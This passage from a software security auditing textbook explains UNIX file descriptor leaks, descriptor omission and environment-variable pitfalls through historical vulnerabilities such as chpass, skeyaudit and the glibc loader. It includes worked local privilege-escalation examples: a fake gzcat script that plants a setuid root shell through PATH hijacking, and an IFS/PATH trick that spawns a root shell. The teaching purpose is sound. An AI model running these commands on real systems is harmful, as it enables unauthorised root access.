program to prevent users from simply supplying their own program to run with elevated privileges. The problem with this code is that the file descriptor that references the /dev/kmem file, kfd, is never closed before the game runs the external controller initialization program. Even though permissions have been fully dropped, attackers could still take control of the machine by providing a malicious controller initialization program. This attack is possible because the executed program starts with an open, writeable file descriptor to /dev/kmem. Attackers would need to construct a fairly straightforward program that could modify critical kernel data structures and elevate user privileges. This example might seem a bit contrived, but it's quite similar to a vulnerability in recent versions of FreeBSD. FreeBSD's libkvm library provides access to kernel symbols, addresses, and values for programs that need to work with kernel memory. A researcher named badc0ded discovered that this library could leave file descriptors open to critical files, such as /dev/kmem, and because of the library's interface, it was difficult for application authors to prevent a leak. Although no programs in the standard FreeBSD distribution were found to use the library in an nonsecure fashion, badc0ded found several ports that could be exploited to gain root privileges. (The FreeBSD advisory can be found at http://security.freebsd.org/advisories/FreeBSD-SA-02:39.libkvm.asc.) Another classic example of a file descriptor leak vulnerability is OpenBSD 2.3's chpass program, which had a local root vulnerability discovered by Oliver Friedrichs from NAI (archived at http://seclists.org/bugtraq/1998/Aug/0071.html). chpass is a setuid root application that allows nonprivileged users to edit information about their accounts. In OpenBSD, user account information is stored in a database file in /etc/pwd.db. It can be read by everyone and contains public information about user accounts. Sensitive information, such as password hashes, is stored in the root-owned, mode 0600 database /etc/spwd.db. The system administrator works with these databases by editing the text file /etc/master.passwd, which resembles the shadow password file in other UNIX systems. After an administrator edits this file, administrative tools can use the pwd_mkdb program behind the scenes to propagate the master.passwd file's contents into the pwd.db and spwd.db password databases and to a /etc/passwd file in a compatible format for general UNIX applications to use. Chpass is one of these administration tools: It lets users edit their account information, and then it uses pwd_mkdb to propagate the changes. Chpass first creates a writeable, unique file in /etc called /etc/ptmp. When chpass is almost finished, it fills /etc/ptmp with the contents of the current master.passwd file, making any changes it wants. Chpass then has pwd_mkdb turn /etc/ptmp in the The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 601 master.passwd file and propagates its information to the system password databases. The /etc/ptmp file also serves as a lock file because while it's present on the file system, no other programs will attempt to manipulate the password database. The following code (slightly edited) is taken from the vulnerable version of chpass: tfd = pw_lock(0); if (tfd < 0) { if (errno == EEXIST) errx(1, "the passwd file is busy."); else err(1, "can't open passwd temp file"); } pfd = open(_PATH_MASTERPASSWD, O_RDONLY, 0); if (pfd < 0) pw_error(_PATH_MASTERPASSWD, 1, 1); /* Edit the user passwd information if requested. */ if (op == EDITENTRY) { dfd = mkstemp(tempname); if (dfd < 0) pw_error(tempname, 1, 1); display(tempname, dfd, pw); edit(tempname, pw); (void)unlink(tempname); } /* Copy the passwd file to the lock file, updating pw. */ pw_copy(pfd, tfd, pw); /* Now finish the passwd file update. */ if (pw_mkdb() < 0) pw_error(NULL, 0, 1); exit(0); The program first uses the pw_lock() function to create /etc/ptmp, which is kept in the file descriptor tfd (which stands for "to file descriptor"). Keep in mind that chpass ultimately places its version of the new password file in /etc/ptmp. Chpass then opens a read-only copy of the master.passwd file and stores it in pfd ("password file descriptor"). This copy is used later as the source file when filling in /etc/ptmp. Chpass then creates a temporary file via mkstemp() and places a text description of the user's account information in it with display(). It then spawns an editor program with The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 602 the edit() function, allowing the user to change the information. The edit() function first forks a new process that drops privileges fully and runs an editor specified by the user. Once that process is completed, the changes that the user has made are evaluated, and if they are okay, the struct passwd *pw is updated to reflect the new changes. After the user edits the file and chpass updates the pw structure, chpass copies the master.passwd file from /etc/master.passwd (via pfd) to /etc/ptmp file (via tfd). The only thing changed in the copy is the information for the account described by pw. After the copy is completed, pw_mkdb() is called, which is responsible for propagating /etc/ptmp to the system's password database and password files. There are a couple of problems related to file descriptors throughout this update process. You can run any program of your choice when chpass calls the edit() function, simply by setting the environment variable EDITOR. Looking at the previous code, you can see that pfd, which has read access to the shadow password file, isn't closed before the editor runs. Also, tfd, which has read and write access to /etc/ptmp, isn't closed. Say attackers write a simple program like this one: #include <stdio.h> #include <fnctl.h> int main(int argc, char **argv) { int i; for (i=0; i<255; i++) if (fcntl(i, F_GETFD)!=-1) printf("fd %d is active!\n", i); } This program uses a simple fcntl() call on each file descriptor to see which ones are currently valid. Attackers could use this program as follows: $ gcc g.c -o g $ export EDITOR=./g $ chpass 0 is active 1 is active 2 is active 3 is active 4 is active chpass: ./g: Undefined error: 0 chpass: /etc/master.passwd: unchanged $ The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 603 File descriptors 0, 1, and 2 correspond to standard in, standard out, and standard error, respectively. File descriptor 3 is a writeable descriptor for /etc/ptmp, which is stored in the tfd variable in chpass. File descriptor 4 is a readable descriptor for /etc/master.passwd, which is stored in pfd in chpass. Attackers can do a few things to exploit this problem. The most straightforward is to read in the master.passwd file from descriptor 4 and display its contents, as it contains password hashes they might be able to crack with a dictionary password cracker. File descriptor 3, however, offers a better attack vector. Remember that after the editor finishes, chpass copies the current master.passwd file's contents into /etc/ptmp, makes the necessary changes, and then tells pwd_mkdb to propagate that information to the system databases. The editor can't simply write to descriptor 3 because after it exits, pw_copy() causes tfd to be repositioned at the beginning of the file and overwrites the changes. This is a minor obstacle: One approach to exploiting this condition is to write data past the expected end of the file, where attackers could place extra root-level accounts. Another approach is to fork another process and let chpass think the editor has finished. While chpass is performing the copy operation, the grandchild process can make modifications to /etc/ptmp, which gets propagated to the password databases. The OpenBSD developers fixed this problem by marking all file descriptors that chpass opens as close-on-exec with fcntl(). Programs that drop privileges to minimize the impact of running potentially unsafe code should be evaluated from the perspective of file descriptor management. As you saw in the previous examples, if a program unintentionally exposes a file descriptor to users of lesser privileges, the security consequences can be quite serious. Open file descriptors can also be used to subvert security measures that have been put in place to limit the threat of a successful compromise of an application. In setuid programs, a defensive programming technique often used is to drop privileges as early as possible so that a security flaw in the program doesn't result in unfettered access to the machine. However, developers often neglect to ensure that sensitive files are closed (or, depending where the vulnerability is in the program, sensitive files might be required to be open). Network servers also use least privilege designs to try to limit the impact of remote code execution vulnerabilities. Often these servers have a large number of files open that could be of use to attackers, such as configuration files, logs files, and, of course, sockets. Note The discussion on file descriptor leakage isn't limited to files; it applies to any resource that can be represented with a file descriptorsockets, pipes, and so on. These resources can also give attackers some opportunities for exploitation. One example is exploiting a server that has its listening socket open; by accepting The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 604 connections on this socket, an attacker might be able to discover confidential information, such as passwords, usernames, and other sensitive data specific to the server's tasks. File Descriptor Omission Every time a process opens a new file or object that causes the creation of a file descriptor, that descriptor is placed in the process's file descriptor table at the lowest available numerical position. For example, say a process has file descriptors 1, 2, 3, 4, and 5 open. If it closes file descriptors 2 and 4, the next file descriptor that gets created is 2, and the file descriptor created after that is 4. There's a convention in the UNIX library code that the first three file descriptors are special: File descriptor 0 is standard input, file descriptor 1 is standard output, and file descriptor 2 is standard error. As you might expect, there have been security vulnerabilities related to these assumptions. In general, if you open a file that is assigned a file descriptor lower than 3, library code might assume your file is one of the standard I/O descriptors. If it does, it could end up writing program output or error messages into your file or reading program input from your file. From a security perspective, the basic problem is that if attackers start a setuid or setgid program with some or all of these three file descriptors unallocated, the privileged program might end up confusing files it opens with its standard input, output, and error files. Consider a setuid-root application with the following code: /* open the shadow password file */ if ((fd = open("/etc/shadow", O_RDWR))==-1) exit(1); /* try to find the specified user */ user=argv[1]; if ((id = find_user(fd, user))==-1) { fprintf(stderr, "Error: invalid user %s\n", user); exit(1); } This setuid root application opens the shadow password file and modifies a user attribute specified in the program's argument. If the user is not a valid system user, the program prints out a brief error message and aborts processing. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 605 Say you go to run this program, but first you close the standard error file descriptor, file descriptor 2. The setuid program first opens /etc/shadow in read/write mode. It's assigned file descriptor 2, as it's the first available position. If you provide an invalid username in argv[1], the setuid program would attempt to write an error message to standard error with fprintf(). In this case, the standard I/O library would actually write to file descriptor 2 and write the error message into the /etc/shadow file! You could then provide a username with newline characters embedded, insert your own entry lines in the shadow password file, and gain root access to the system. Joost Pol and Georgi Guninski, two independent security researchers, were most likely the first researchers to publish an attack for this class of vulnerability(summarized at http://security.freebsd.org/advisories/FreeBSD-SA-02:23.stdio.asc), although the OpenBSD developers addressed it previously in a kernel patch in 1998, and it appears to have been discussed as early as 1987. Pol and Guninski were able to compromise the keyinit program in FreeBSD by letting it open /etc/skeykeys as file descriptor 2 and having it write specially crafted error messages intended for standard error to the skey configuration file. Many modern UNIX distributions have addressed this issue via modifications to the kernel or the C libraries. Typically, they make sure that when a new process runs, all three of its first file descriptors are allocated. If any aren't, the fixes usually open the /dev/null device driver for the missing descriptors. There have been a few vulnerabilities in the implementations of these protections, however. For example, OpenBSD 3.1, 3.0, and 2.9 had a patch that wasn't quite enough to prevent the problem if attackers could starve the system of resources. This issue was discovered by the researcher FozZy, and is documented at http://archives.neohapsis.com/archives/vulnwatch/2002-q2/0066.html. The following code (slightly edited) is from the vulnerable version of the sys_execve() system call in the kernel: /* * For set[ug]id processes, a few caveats apply to * stdin, stdout, and stderr. */ for (i = 0; i < 3; i++) { struct file *fp = NULL; fp = fd_getfile(p->p_fd, i); /* * Ensure that stdin, stdout, and stderr are * already allocated. You do not want The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 606 * userland to accidentally allocate * descriptors in this range, which has * implied meaning to libc. * * XXX - Shouldn't the exec fail if you can't * allocate resources here? */ if (fp == NULL) { short flags = FREAD | (i == 0 ? 0 : FWRITE); struct vnode *vp; int indx; if ((error = falloc(p, &fp, &indx)) != 0) break; if ((error = cdevvp( getnulldev(), &vp)) != 0) { fdremove(p->p_fd, indx); closef(fp, p); break; } if ((error = VOP_OPEN(vp, flags, p->p_ucred, p)) != 0) { fdremove(p->p_fd, indx); closef(fp, p); vrele(vp); break; } ... } } This code goes through file descriptors 0, 1, and 2 in a new setuid or setgid process to ensure that all the standard file descriptors are allocated. If they aren't present and fd_getfile() returns NULL, the rest of the code opens the null device for each unallocated file descriptor. The null device is a special device that discards everything it reads; it's typically accessed in userland via the device driver /dev/null. This code seems to do the trick for setuid and setgid applications, as any unallocated file descriptor in position 0, 1, or 2 is allocated with a reference to the /dev/null file. The problem with this code is that if any of the three file operations fail, the code breaks out of the loop and continues running the new program. The developers were The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 607 aware of this potential problem, as evidenced by the comment about exec() failing. The bug ended up being locally exploitable to gain root access. The described attack is this: If attackers fill up the kernel's global file descriptor table by opening many pipes, they can cause the falloc() call (bolded) in the code to fail. The for loop is broken out of, and a setuid program can be spawned with a low-numbered file descriptor closed. The author, FozZy, was able to exploit the /usr/bin/skeyaudit program by running it so that file descriptor 2 was unallocated. skeyaudit opened /etc/skeykeys as file descriptor 2, and then proceeded to write attacker-controllable error messages in the file and consequently allowing attackers to gain root access. Georgi Guninski found a similar problem in FreeBSD's code to prevent this issue. The code was basically the same as the previous example, except in certain conditions, the kernel system call closed a file descriptor later in the processing. Guninski was able to open a file as file descriptor 2 that the kernel would later close if the file that the descriptor references is /proc/curproc/mem. By running /usr/bin/keyinit with this file assigned to descriptor 2, he was able to get a string of his choosing inserted into /etc/skeykeys, which equated to a root compromise. This vulnerability is documented at www.ciac.org/ciac/bulletins/m-072.shtml. From an auditing perspective, you should consider this vulnerability for cross-platform UNIX applications. Arguably, the OS should handle it in the kernel or standard libraries, but a case could definitely be made for cross-platform programs needing a more defensive approach. OpenBSD, FreeBSD, NetBSD, and Linux have patched this issue in recent versions, but the status of older versions of these OSs and commercial UNIX versions is less certain. Environment Arrays A process maintains a set of data known as its environment or environment variables, which is a collection of configuration strings that programs reference to determine how a user wants certain actions to be performed. A process's environment is usually maintained by the standard library, but the UNIX kernel provides special mechanisms for transferring a process environment across the execve() system call. The environment is represented in memory as an array of pointers to C strings. The last element in this array is a NULL pointer that terminates the list. The array is pointed to by the global libc variable environ. Each pointer in the environment array is a pointer to a separate NULL-terminated C string, which is called an environment variable. Figure 10-3 shows a process environment in a program running on a UNIX system. Figure 10-3. Environment of a process The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 608 When a process calls execve() to run a new program, it provides a pointer to the new program's environment using the envp parameter. If a process passes a pointer to its own array of environment strings, the UNIX kernel takes responsibility for transferring that environment over to the new process image. Environment variables are transferred to the new process in a particular way by the execve() system call. A UNIX kernel goes through the provided environment array and copies each environment string to the new process in a tightly packed format. Then it builds a corresponding array of pointers to these strings by walking through the adjacent strings it placed together. Figure 10-4 shows what the process environment depicted in Figure 10-3 might look like after an execve(). Notice how all the environment variables are adjacent in memory, and they are placed in order of their appearance in the original environment. Don't pay too much attention to the addresses. On a real UNIX system, the environment strings would likely be next to the program argument strings, at the top of the program stack. Figure 10-4. Process environment immediately after an execve() The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 609 After the kernel has finished setting up the process, it's up to the standard system libraries to manage the environment. These libraries maintain a global variable called environ that always points to the array of strings composing the process's environment. The first piece of runtime glue code that's called when a new program runs immediately sets environ to point to the array of environment variables set up by the kernel at the top of the stack. As a process runs, it can add, modify, and delete its environment variables. When additions are made, the environment manipulation functions (described momentarily) are responsible for finding new memory to store the environment list and the strings when required. They do so by using memory from the heap, allocated with malloc() and resized with realloc(). Different UNIX implementations have different semantics for handling the environment. In general, processes use five main functions to manipulate their environment: getenv(), used to retrieve environment variables; setenv(), used to set environment variables; putenv(), a different interface for setting environment variables; unsetenv(), used for deleting an environment variable; and clearenv(), used to clear out a process's environment. Not all UNIX implementations have all five functions, and the semantics of functions vary across versions. As far as the kernel cares, the environment is simply an array of NULL-terminated strings. The standard C library, however, expects strings to be in a particular format, separating environment variables into a name and a value. The = character is used as the delimiter, so a typical environment variable is expected to follow this format: NAME= The library functions provided for programs to manipulate their environment generally work with this expectation. These functions are described in the following paragraphs. The getenv() function is used to look up environment variables by name and retrieve their corresponding values: char *getenv(const char *name); It takes a single argument, which is the name of the environment variable to retrieve, and searches through the program's environment for that variable. Say you call it like this: res = getenv("bob"); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 610 getenv() would go through each string in the environment, starting at the first one in the array pointed to by environ. The first environment string it finds starting with the four characters bob= will be returned to the caller (actually, it returns a pointer to the byte immediately following the = character). So for an environment string defined as bob=, getenv("bob") would return a pointer to the string test.getenv() is supported across practically all UNIX environments. The setenv() function is used to add or update environment variables: int setenv(const char *name, const char *val, int rewrite); This function takes a name of an environment variable and a potential value. If the name environment variable doesn't exist, the function creates it and sets it to the value indicated in the second argument. If the name environment variable does exist, the behavior depends on the rewrite argument. If it's set, setenv() replaces the existing environment variable, but if it's not, setenv() doesn't do anything to the environment. If setenv() needs to add a new environment variable to the array pointed to by environ, it can run into one of two situations. If the original environ set up by the kernel is still in use, setenv() calls malloc() to get a new location to store the array of environment variables. On the other hand, if environ has already been allocated on the process heap, setenv() uses realloc() to resize it. setenv() usually allocates memory off the heap to store the environment variable string, unless there's room to write over an old value. On the surface, the putenv() function seems similar to setenv(): int putenv(const char *str); However, there's an important difference between the two. putenv() is used for storing an environment variable in the environment, but it expects the user to provide a full environment string in str in the form NAME=. putenv() replaces any existing environment variable by that name. On many systems, putenv() actually places the user-supplied string in str directly in the environment array. It doesn't allocate a copy of the string as setenv() does, so if you give it a pointer to a string you modify later, you're tampering with the program's environment. Under BSD systems, however, putenv() does allocate a copy of the string; it's implemented as a wrapper around setenv(). Note The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 611 Linux used to allocate a copy of the environment string in the past, but changed this behavior in recent glibc versions. The man page on a Linux system for putenv() explicitly notes this behavior change in the Notes section: The putenv() function is not required to be reentrant, and the one in libc4, libc5 and glibc2.0 is not, but the glibc2.1 version is. Description for libc4, libc5, glibc: If the argument string is of the form name, and does not contain an = character, then the variable name is removed from the environment. If putenv() has to allocate a new array environ, and the previous array was also allocated by putenv(), then it will be freed. In no case will the old storage associated to the environment variable itself be freed. The libc4 and libc5 and glibc 2.1.2 versions conform to SUSv2: the pointer string given to putenv() is used. In particular, this string becomes part of the environment; changing it later will change the environment. (Thus, it is an error is to call putenv() with an automatic variable as the argument, then return from the calling function while string is still part of the environment.) However, glibc 2.0-2.1.1 differs: a copy of the string is used. On the one hand this causes a memory leak, and on the other hand it violates SUSv2. This has been fixed in glibc2.1.2. The BSD4.4 version, like glibc 2.0, uses a copy. The unsetenv() function is used to remove an environment variable from the environment array: void unsetenv(const char *name); It searches through the array for any environment variables with the name name. For each one it finds, it removes it from the array by shifting all remaining pointers up one slot. The clearenv() function is used to clear the process environment completely and get rid of all environment variables: int clearenv(void); Binary Data One interesting feature of the environment is that it can be used to place arbitrary data at the top of the stack of a program you intend to run. While this is more of an interesting topic in the context of writing exploits, it's worth covering here. The kernel The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 612 reads the environment strings you pass execve() in order and places them adjacent to each other at the top of the new process's stack. It works out so that you can supply mostly arbitrary binary data. Say you have an array like this: env[0]="abcd"; env[1]="test"; env[2]=""; env[3]="hi"; env[4]=""; env[5]= In memory, you would expect the kernel to create the following sequence of bytes: abcd\0test\0\0hi\0\0 The use of an empty string ("") causes a single NUL byte to be written to the environment. Because environment strings need to be preserved across a call to execve(), the strings need to be manually copied into the new process's address space before the new program can be run. This is logical; because execve() unmaps all memory of the old process, which includes environment strings. If you know where the stack starts for the new process (usually a known location, except when memory randomization mechanisms are used) and what environment variables exist, you know exactly where these environment strings reside in memory in the newly running process. The environment maintenance routines don't impose any limitations on the nature of data that can exist in the environment, so you're free to add binary data containing machine code designed to spawn a shell or another nefarious task. Confusing putenv() and setenv() Because of the slight semantic differences between putenv() and setenv(), these functions could possibly be used in the wrong context. To review, the putenv() function doesn't actually make a copy of the string you're setting in the environment in many systems. Instead, it just takes the pointer you pass and slots it directly into the environment array. This behavior is definitely a problem if you can modify data that is being pointed to later on in the program, or if the pointer is discarded, as shown in the following example: int set_editor(char *editor) { char edstring[1024]; snprintf(edstring, sizeof(edstring), "EDITOR=%s", editor); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 613 return putenv(edstring); } This function seems to be doing the right thing, but there's a problem: The edstring variable is directly imported into the environment array (providing that it is not being run on BSD or older Linux versions). In this example, a local stack variable is inserted in the environment. Since stack variables are automatically cleaned up when the function returns, the pointer in the environment then points to undefined stack data! Through careful manipulation of the program, attackers might be able control data placed on the stack where edstring used to be and hence introduce arbitrary variables into the environment. A bug of this nature might also surface when applications are designed to work on a number of platforms. Specifically, if Solaris is one of the target platforms, developers are required to use putenv() because Solaris doesn't implement setenv(). Here's a slightly modified example showing what this code might look like: int set_editor(char *editor) { #ifdef _SOLARIS char edstring[1024]; snprintf(edstring, sizeof(edstring), "EDITOR=%s", editor); return putenv(edstring); #else return setenv("EDITOR", editor, 1); #endif /* _SOLARIS */ } This code seems as though it should be functionally equivalent regardless of the target platform. But, as you already know, the call to putenv() is unsafe in this instance whereas setenv() is not. Another possible vulnerability is one in which the argument passed to putenv() contains an environment value rather than the name followed by the value. Although this type of error might seem unlikely, it has happened in the past. Listing 10-3 is from the Solaris telnetd code. Listing 10-3. Misuse of putenv() in Solaris Telnetd char binshellvar[] = "SHELL=/bin/sh"; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 614 if (curshell = getenv("SHELL")) { oldshell = strdup(curshell); (void) putenv(binshellvar); } else oldshell = (char *)NULL; ... if (oldshell) (void) putenv(oldshell); The SHELL variable is retrieved from the environment and then later reinserted in the environment with putenv() without prepending SHELL=. If users can supply the SHELL variable, they are able make the value of that variable an arbitrary environment name-and-value pair (such as LD_PRELOAD=) and thus introduce potentially dangerous environment values into the program that might lead to further compromise. Note Upon further examination, it turns out this bug isn't exploitable, because even though environment variables have been read from the user during option negotiation, they haven't been entered in the environment at this point in execution. However, it's worth showing the code in Listing 10-3 because the use of putenv() is incorrect. Extraneous Delimiters You know that standard library functions expect to see environment variables with the NAME= format. However, consider the case where you have a variable formatted like this: NAME= Variations in how environment variables are formatted can be important, depending on how the algorithms responsible for fetching and storing values are implemented. Bugs of this nature have surfaced in the past in how the libc functions setenv()/unsetenv() work. The following is a quote from a post made by a security researcher named David Wagner (the post can be read in full at http://archives.neohapsis.com/archives/linux/lsap/2000-q3/0303.html): ObHistoricalNote: By the way, does anyone remember the bug in telnetd accepting environment variables? There was a fascinating bug explained there: setenv The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 615 (name,val) and unsetenv(name) do not behave as expected when 'name' contains an '='setenv ("x=y","z") defines the environment variable called "x"; unsetenv("x=y") deletes the variable called "x=y". Subtle, eh? Perhaps it would be nice if setenv() refused to set a variable with '=' As a result of these problems, current setenv() and unsetenv() implementations are selective about allowing names with delimiters (=) in them. That said, it's usually a good idea to err on the side of caution when making assumptions about library support of production systems. Extending on this idea, if an application decides to manually edit the environment without the aid of library APIs, comparing how variables are found and how they are set is a good idea. These functions should be complementary, and if they're not, the opportunity to insert variables that should have been weeded out might be possible. After all, libcs for a number of UNIX variants made these mistakes in the past, and so it's likely that developers writing new code will fall into the same traps. The same possibility exists for simulated environments (such as those generated by scripting languages). If in principle they're attempting to achieve the same effect with a synthesized environment structure, they are liable to make the same sort of mistakes. For example, take a look at these two functions: struct env_ent { char *name, char *value; struct env_ent *next; }; int process_register_variable(struct env_ent *env, char *valuepair) { char *val; int i, name_len; struct env_ent *env0 = env; val = strchr(valuepair, '=' Do you see the problem? The way that variables are located when determining whether to overwrite a value already in the environment differs from the way they are located when just fetching a value. Specifically, the use of strncmp() in process_register_variable() is a little faulty because it returns 0 if a length of 0 is passed to it. If the string = is passed in, the function replaces the first entry in the environment with the value BOB! The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 616 Another important problem to focus on is code that makes the assumption about input not containing extraneous delimiters when using putenv(). Consider the following example: int set_variable(char *name) { char *newenv; intlength = strlen("APP_") + strlen("=new") + strlen(name) + 1; newenv = (char *)malloc(length); snprintf(newenv, length, "APP_%s=new", name); return putenv(newenv); } The set_variable() function makes the assumption that the name variable doesn't contain a delimiter. However, if it does, the user is free to select an arbitrary environment value for the variable, which obviously isn't what the code intended. Duplicate Environment Variables Another potential pitfall in programs that interact with environment variables is having more than one variable with the same name defined in the environment. This error was more of a problem in the past because many libc implementations neglected to remove multiple instances of a variable (because of faulty unsetenv() implementations). Having said that, it's still an issue occasionally, so keep it in mind when you're auditing environment sanitization code for two reasons:  Although most modern UNIX implementations now have environment APIs that are quite thorough in managing variables, you can't assume that the deployment environment of an application will provide a safe libc implementation. Depending on the application and its intended purpose, it might be destined for installation on older systems that are vulnerable to some of the tricks described previously.  Every now and then a program might choose to manually manipulate the environment instead of using the libc functions. In these cases, the program could make the same mistakes that were made in older implementations of libc. If the function terminates when it finds the requested variable in question, it's likely vulnerable to attackers sneaking values through by setting multiple instances of the same value. This problem existed in the loadmodule program in SunOS 4.1.x. The The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 617 environment was manually cleaned out before a call to system() to stop attackers from setting the IFS variable (discussed later in "Other Environment Variables") and, therefore, being able to run arbitrary commands with root privileges. Unfortunately, the code neglected to correctly deal with multiple instances of the same variable being set, so the call to system() was still vulnerable to exploitation. This bug is documented at www.osvdb.org/displayvuln.php?osvdb_id=. To cite a more recent example, the accomplished researcher Solar Designer noted a problem in the Linux loader supplied with older versions of glibc. The loader checks for the existence of environment variables prefixed with LD_ and uses them to determine behavioral characteristics of how the loader functions. These variables allow loading additional or alternate libraries into the process's address space. Naturally, this behavior isn't desirable for setuid applications, so these variables were filtered out of the environment when loading such a program. However, a bug in the loaders unsetenv() function caused it to neglect filtering out duplicate environment variables correctly, as shown in the following code: static void _dl_unsetenv(const char *var, char **env) { char *ep; while ((ep = *env)) { const char *vp = var; while (*vp && *vp == *ep) { vp++; ep++; } if (*vp == '\0' && *ep++ == '='env++; } } When a variable is found that needs to be stripped, this function moves all other environment variables after it back one place in the environment array. However, then it increments the environment variable pointer (env), so if two entries with the same name are in the environment right next to each other, the program misses the second instance of the variable! Note During the process of researching loader behavior for this book, the authors noticed that as of this writing, this bug is also present in the ELF loader shipped with the OpenBSD (3.6) version. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 618 So even when code does attempt to deal with multiple instances of the same variable, a program might accidentally expose itself to potential security risks if it doesn't analyze the environment correctly. Common Environment Variables Now that you're familiar with the details of how a typical UNIX environment is managed, you can begin to examine some common variables used by applications. The variables described in the following sections are just a few of the environment variables you'll encounter regularly in applications you audit, so don't assume that variables not listed here are innocuous. Shell Variables A number of variables can modify how the typical UNIX shell behaves. Many of these values are always present because they're initialized with default values if a shell is started without them. You have already seen that system shells can play a big part in how applications operate when indirect program invocation is used or privileged shell scripts are running. Many other programs use a number of these variables as well. Note that in contemporary UNIX variants, many of these variables are considered potentially dangerous and are filtered out when a setuid process runs. Still, this is by no means true of all systems. Also, keep in mind that those applications you interact with remotely and supply environment variables to are not automatically subject to the same environment restrictions if the program isn't setuid. PATH The PATH environment variable is intended to contain a list of directories separated by colons (:). When the shell needs to run a program that's specified without directory path components, it searches through each directory in the PATH variable in the order that they appear. The current directory is checked only if it's specified in the PATH variable. Programs that run with privilege and make use of subshells can run into trouble if they don't use explicit paths for command names. For example, take a look at the following code: snprintf(buf, sizeof(buf), "/opt/ttt/logcat%s | gzcat | /opt/ttt/parse > /opt/ttt/results", logfile); system(buf); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 619 This program makes use of the system() function to run the /opt/ttt/logcat program, pipe its output to the gzcat program to decompress the log, pipe the decompressed log to the /opt/ttt/parse program, and then redirect the parsing results to the /opt/ttt/results file. Note that gzcat is called without specifying a directory path, so the shell opened with the system() function searches through the PATH environment variable to find the gzcat binary. If this code was part of a setuid root application, attackers could do something like this: $ cd /tmp $ echo '#!/bin/sh' > gzcat $ echo 'cp /bin/sh /tmp/sh' >> gzcat $ echo 'chown root /tmp/sh' >> gzcat $ echo 'chmod 4755 /bin/sh' >> gzcat $ chmod 755 ./gzcat $ export PATH=.:/usr/bin:/usr/local/bin $ /opt/ttt/start_process $ ./sh # In this code, attackers change the PATH environment variable so that the current directory is the first directory that's searched. This way, the shell script gzcat in the current directory, /tmp/, runs instead of the intended program, /usr/bin/gzcat. Attackers made a simple shell script in the place of gzcat that allowed them to obtain root access by creating a setuid root copy of /bin/sh. HOME The HOME environment variable indicates where the user's home directory is placed on the file system. Naturally, users can set this variable to any directory they want, so it's important for privileged programs to actually look up the user's home directory in the system password database. If a privileged program tries to use a subshell to interact with a file that's specified relative to a user's home directory, such as ~/file, most shells use the value of the HOME environment variable. IFS IFS (which stands for "internal field separator") is an environment variable that tells the shell which characters represent whitespace. Normally, it's set to break input on space, tabs, and new lines. On some shells, IFS can be set so that it interprets other characters as whitespace but interprets straightforward commands in odd ways. Consider the following program excerpt: system("/bin/ls"); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 620 This simple program excerpt makes use of the system() function to run the /bin/ls program. If an attacker sets the IFS variable to / and the shell honors it, the meaning of this command would be changed entirely. With a normal IFS setting, the string /bin/ls is interpreted as one token, /bin/ls. If the attacker set IFS to /, the shell interprets it as two tokens: bin and ls. The shell would first try to run the bin program and pass it an argument of ls. If a program named bin happened to be in the current PATH, the shell would start that program. An attacker could exploit this situation as shown in the following example: $ cd /tmp $ echo 'sh -i' > bin $ chmod 755 ./bin $ export PATH=.:/usr/bin:/usr/local/bin $ export IFS="/" $ run_vuln_program $ ./sh # The attacker changed the IFS variable so that / would be interpreted as whitespace, and the system() function would try to run the program named bin. The attacker created a suitable program named bin that opened a shell as root, and then set PATH so that his bin program was first on the list. IFS attacks don't really work against modern shells, but ENV attacks, described in the next section, are a bit more plausible. ENV When a noninteractive shell starts, it often looks to a certain environment variable for a filename to run as a startup script. This environment variable is typically expanded, so one can use a malicious value, as in this example: ENV= Any subshells that are opened actually run the /tmp/evil file. BASH_ENV is a similar variable honored by bash. Old versions of sliplogin were vulnerable to this issue, as shown in the following code: (void)sprintf(logincmd, "%s %d %ld %s", loginfile, unit, speed, loginargs); ... /* The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 621 * Run login and logout scripts as root (real and * effective); current route(8) is setuid root and * checks the real uid to see whether changes are * allowed (or just "route get"). */ (void) setuid(0); if (s = system(logincmd)) { syslog(LOG_ERR, "%s login failed: exit status %d from %s", loginname, s, loginfile); exit(6); } This error could be exploited by logging in to a slip-enabled account and having telnet set an environment variable of ENV that the shell opened by system() would expand and run. SHELL Some programs use the SHELL environment variable to determine a user's preferred command shell. Naturally, if privileged programs honor this variable, trouble can ensue. EDITOR Some programs use the EDITOR environment variable to determine users' preferred editors. Obviously, this variable is also dangerous for a privileged program to trust. Sebastian Krahmer noted a vulnerability in the setuid program cron on a number of UNIX distributions that resulted in the program pointed to in the EDITOR variable running with elevated privileges (announced by SuSE at http://lists.suse.com/archive/suse-security-announce/2001-May/0001.html). Runtime Linking and Loading Variables Most current UNIX OSs use make extensive use of shared libraries, so that commonly required functionality doesn't need to be continually re-implemented by each application. The creation of an executable program file involves the use of a special program called a linker, which tries to find program-required symbols in a list of libraries. If the program is being statically compiled, required library code is simply copied from the library into the executable program file, thus the program will be able to run without having to dynamically load that library. Conversely, dynamically linked executables are created by compiling a list of required modules for the various symbols that the application needs, and storing this list within the executable file. When the OS runs a dynamically linked program, startup framework code finds the The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 622 shared libraries in this list and maps them into the process's memory when they are needed. LD_PRELOAD LD_PRELOAD provides a list of libraries that the runtime link editor loads before it loads everything else. This variable gives you an easy way to insert your own code into a process of your choosing. In general, UNIX doesn't honor LD_PRELOAD when running a setuid or setgid program, so this variable isn't likely to be a direct vulnerability. However, if users can influence the environment of a program running with privilege (but isn't setuid), LD_PRELOAD and similar variables can come into play. For example, the 